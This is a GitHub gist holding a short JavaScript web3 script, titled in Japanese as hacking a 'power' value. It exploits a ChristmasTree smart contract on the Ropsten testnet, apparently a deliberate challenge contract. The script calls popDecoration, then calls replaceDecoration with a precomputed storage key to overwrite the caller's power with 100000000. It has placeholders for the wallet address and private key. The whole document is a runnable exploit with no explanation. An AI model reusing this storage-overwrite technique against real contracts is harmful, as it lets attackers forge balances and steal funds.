-
-
Save NaoyaTabakomori/9d033bc94db7fa05d84eeecd88376807 to your computer and use it in GitHub Desktop.
powerの値をハックして変更する
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var fs = require('fs'); | |
var Web3 = require('web3'); | |
var web3 = new Web3('wss://ropsten.infura.io/ws'); | |
var christmasTreeABI = JSON.parse(fs.readFileSync('./build/contracts/ChristmasTree.json')).abi; | |
var christmasTreeAddress = '0x0a97246d46703F72B5c34828f80171F005f66c60'; | |
var christmasTree = new web3.eth.Contract(christmasTreeABI, christmasTreeAddress); | |
var address = 'your address'; | |
var privkey = 'your priv key'; | |
var targetKey = 'calculate result hex' | |
hackPray(); | |
async function hackPray() { | |
web3.eth.defaultAccount = address; | |
web3.eth.accounts.wallet.add(privkey); | |
var balance; | |
balance = await christmasTree.methods.powerOf(address).call(); | |
console.log(balance); | |
var result | |
result = await christmasTree.methods.popDecoration().send({ | |
from: address, | |
gas: 4700000, | |
gasPrice: 20000000000, | |
}); | |
console.log(result); | |
var hackKey = web3.utils.toHex(web3.utils.toBN(targetKey).toString()); | |
var manyPray = 100000000; | |
var result = await christmasTree.methods.replaceDecoration(hackKey, manyPray).send({ | |
from: address, | |
gas: 4700000, | |
gasPrice: 20000000000, | |
}); | |
console.log(result); | |
balance = await christmasTree.methods.powerOf(address).call(); | |
console.log(balance); | |
web3.currentProvider.connection.close(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment